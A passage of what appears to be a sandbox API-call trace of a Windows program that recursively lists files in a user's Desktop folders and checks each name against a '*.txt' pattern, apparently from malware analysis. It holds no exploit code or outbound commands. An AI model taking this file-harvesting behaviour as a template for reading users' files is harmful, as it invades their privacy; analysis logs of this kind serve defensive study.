lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0099.476] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x41) returned 0x34300d0 [0099.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", cchWideChar=65, lpMultiByteStr=0x34300d0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\Bv-6RbWd7Y0DsEw.m4a", lpUsedDefaultChar=0x0) returned 65 [0099.476] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x21111c0 [0099.476] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.476] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.476] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113138 [0099.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x2113138, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.476] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113138 | out: hHeap=0x2110000) returned 1 [0099.476] PathMatchSpecW (pszFile="Bv-6RbWd7Y0DsEw.m4a", pszSpec="*.txt") returned 0 [0099.476] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0099.476] FindNextFileW (in: hFindFile=0x6d1198, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19731fb0, ftCreationTime.dwHighDateTime=0x1d7b001, ftLastAccessTime.dwLowDateTime=0x1b75f5c0, ftLastAccessTime.dwHighDateTime=0x1d7b01b, ftLastWriteTime.dwLowDateTime=0x1b75f5c0, ftLastWriteTime.dwHighDateTime=0x1d7b01b, nFileSizeHigh=0x0, nFileSizeLow=0xbb0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dBJ6cQr3Mn6cOVMZ_15.mkv", cAlternateFileName="DBJ6CQ~1.MKV")) returned 1 [0099.476] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.476] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.476] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="dBJ6cQr3Mn6cOVMZ_15.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv" [0099.476] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.476] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.476] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="dBJ6cQr3Mn6cOVMZ_15.mkv" | out: lpString1="\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv") returned="\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv" [0099.476] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104e8 [0099.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0099.476] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x45) returned 0x34300d0 [0099.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", cchWideChar=69, lpMultiByteStr=0x34300d0, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\dBJ6cQr3Mn6cOVMZ_15.mkv", lpUsedDefaultChar=0x0) returned 69 [0099.477] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x21111c0 [0099.477] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.477] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.477] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113090 [0099.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x2113090, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.477] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113090 | out: hHeap=0x2110000) returned 1 [0099.477] PathMatchSpecW (pszFile="dBJ6cQr3Mn6cOVMZ_15.mkv", pszSpec="*.txt") returned 0 [0099.477] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0099.477] FindNextFileW (in: hFindFile=0x6d1198, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb87e60, ftCreationTime.dwHighDateTime=0x1d7a587, ftLastAccessTime.dwLowDateTime=0x2bf8b90, ftLastAccessTime.dwHighDateTime=0x1d7abca, ftLastWriteTime.dwLowDateTime=0x2bf8b90, ftLastWriteTime.dwHighDateTime=0x1d7abca, nFileSizeHigh=0x0, nFileSizeLow=0x12c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTOhWvt8XHWdX2Jb-Y9j.avi", cAlternateFileName="OTOHWV~1.AVI")) returned 1 [0099.477] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.477] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.477] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="OTOhWvt8XHWdX2Jb-Y9j.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi" [0099.477] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.477] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.477] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="OTOhWvt8XHWdX2Jb-Y9j.avi" | out: lpString1="\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi") returned="\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi" [0099.477] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104e8 [0099.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0099.477] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x46) returned 0x34300d0 [0099.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", cchWideChar=70, lpMultiByteStr=0x34300d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\OTOhWvt8XHWdX2Jb-Y9j.avi", lpUsedDefaultChar=0x0) returned 70 [0099.477] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa508 [0099.479] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.479] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.479] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fb8 [0099.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x2112fb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.479] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fb8 | out: hHeap=0x2110000) returned 1 [0099.479] PathMatchSpecW (pszFile="OTOhWvt8XHWdX2Jb-Y9j.avi", pszSpec="*.txt") returned 0 [0099.479] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa508 | out: hHeap=0x2110000) returned 1 [0099.479] FindNextFileW (in: hFindFile=0x6d1198, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7891300, ftCreationTime.dwHighDateTime=0x1d7ae3e, ftLastAccessTime.dwLowDateTime=0xd42823d0, ftLastAccessTime.dwHighDateTime=0x1d7b058, ftLastWriteTime.dwLowDateTime=0xd42823d0, ftLastWriteTime.dwHighDateTime=0x1d7b058, nFileSizeHigh=0x0, nFileSizeLow=0x749e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RlIHjPIHGxNLKdZtxgXD.mkv", cAlternateFileName="RLIHJP~1.MKV")) returned 1 [0099.479] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.479] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.479] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="RlIHjPIHGxNLKdZtxgXD.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv" [0099.479] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.479] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.479] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="RlIHjPIHGxNLKdZtxgXD.mkv" | out: lpString1="\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv") returned="\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv" [0099.479] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104e8 [0099.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0099.479] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x46) returned 0x34300d0 [0099.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", cchWideChar=70, lpMultiByteStr=0x34300d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", lpUsedDefaultChar=0x0) returned 70 [0099.479] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa248 [0099.480] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.480] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130d8 [0099.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x21130d8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.480] PathMatchSpecW (pszFile="RlIHjPIHGxNLKdZtxgXD.mkv", pszSpec="*.txt") returned 0 [0099.480] FindNextFileW (in: hFindFile=0x6d1198, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7891300, ftCreationTime.dwHighDateTime=0x1d7ae3e, ftLastAccessTime.dwLowDateTime=0xd42823d0, ftLastAccessTime.dwHighDateTime=0x1d7b058, ftLastWriteTime.dwLowDateTime=0xd42823d0, ftLastWriteTime.dwHighDateTime=0x1d7b058, nFileSizeHigh=0x0, nFileSizeLow=0x749e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RlIHjPIHGxNLKdZtxgXD.mkv", cAlternateFileName="RLIHJP~1.MKV")) returned 0 [0099.480] FindClose (in: hFindFile=0x6d1198 | out: hFindFile=0x6d1198) returned 1 [0099.480] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.480] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d) returned 0x2110550 [0099.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", cchWideChar=45, lpMultiByteStr=0x2110550, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpUsedDefaultChar=0x0) returned 45 [0099.480] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.480] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113138 [0099.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113138, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.480] PathMatchSpecW (pszFile="FfCPM", pszSpec="*.txt") returned 0 [0099.480] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73f7660, ftCreationTime.dwHighDateTime=0x1d7a5a5, ftLastAccessTime.dwLowDateTime=0x140c8d40, ftLastAccessTime.dwHighDateTime=0x1d7a9e9, ftLastWriteTime.dwLowDateTime=0x140c8d40, ftLastWriteTime.dwHighDateTime=0x1d7a9e9, nFileSizeHigh=0x0, nFileSizeLow=0x9a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="fw4-.avi", cAlternateFileName="")) returned 1 [0099.480] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.480] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.481] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="fw4-.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi" [0099.481] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.481] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.481] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="fw4-.avi" | out: lpString1="\\km0vcCJ\\fw4-.avi") returned="\\km0vcCJ\\fw4-.avi" [0099.481] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.481] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110550 [0099.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", cchWideChar=48, lpMultiByteStr=0x2110550, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", lpUsedDefaultChar=0x0) returned 48 [0099.481] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.481] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112f88 [0099.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2112f88, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.481] PathMatchSpecW (pszFile="fw4-.avi", pszSpec="*.txt") returned 0 [0099.481] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21cb9ee0, ftCreationTime.dwHighDateTime=0x1d7a858, ftLastAccessTime.dwLowDateTime=0x7ae5b3a0, ftLastAccessTime.dwHighDateTime=0x1d7ab26, ftLastWriteTime.dwLowDateTime=0x7ae5b3a0, ftLastWriteTime.dwHighDateTime=0x1d7ab26, nFileSizeHigh=0x0, nFileSizeLow=0x12842, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tc9-j3lGUjaG6GJI.png", cAlternateFileName="TC9-J3~1.PNG")) returned 1 [0099.481] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.481] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.481] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="Tc9-j3lGUjaG6GJI.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png" [0099.481] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.481] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.481] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="Tc9-j3lGUjaG6GJI.png" | out: lpString1="\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png") returned="\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png" [0099.481] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104e8 [0099.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.482] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x2112c00 [0099.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", cchWideChar=60, lpMultiByteStr=0x2112c00, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", lpUsedDefaultChar=0x0) returned 60 [0099.482] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112a08 [0099.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.482] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130f0 [0099.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130f0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.482] PathMatchSpecW (pszFile="Tc9-j3lGUjaG6GJI.png", pszSpec="*.txt") returned 0 [0099.482] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef6c020, ftCreationTime.dwHighDateTime=0x1d7a00a, ftLastAccessTime.dwLowDateTime=0xc0b52a40, ftLastAccessTime.dwHighDateTime=0x1d7ae1a, ftLastWriteTime.dwLowDateTime=0xc0b52a40, ftLastWriteTime.dwHighDateTime=0x1d7ae1a, nFileSizeHigh=0x0, nFileSizeLow=0xa169, dwReserved0=0x0, dwReserved1=0x0, cFileName="UR4TA9fA1.xlsx", cAlternateFileName="UR4TA9~1.XLS")) returned 1 [0099.482] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.482] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.482] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="UR4TA9fA1.xlsx" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx" [0099.482] lstrcpyW (in: 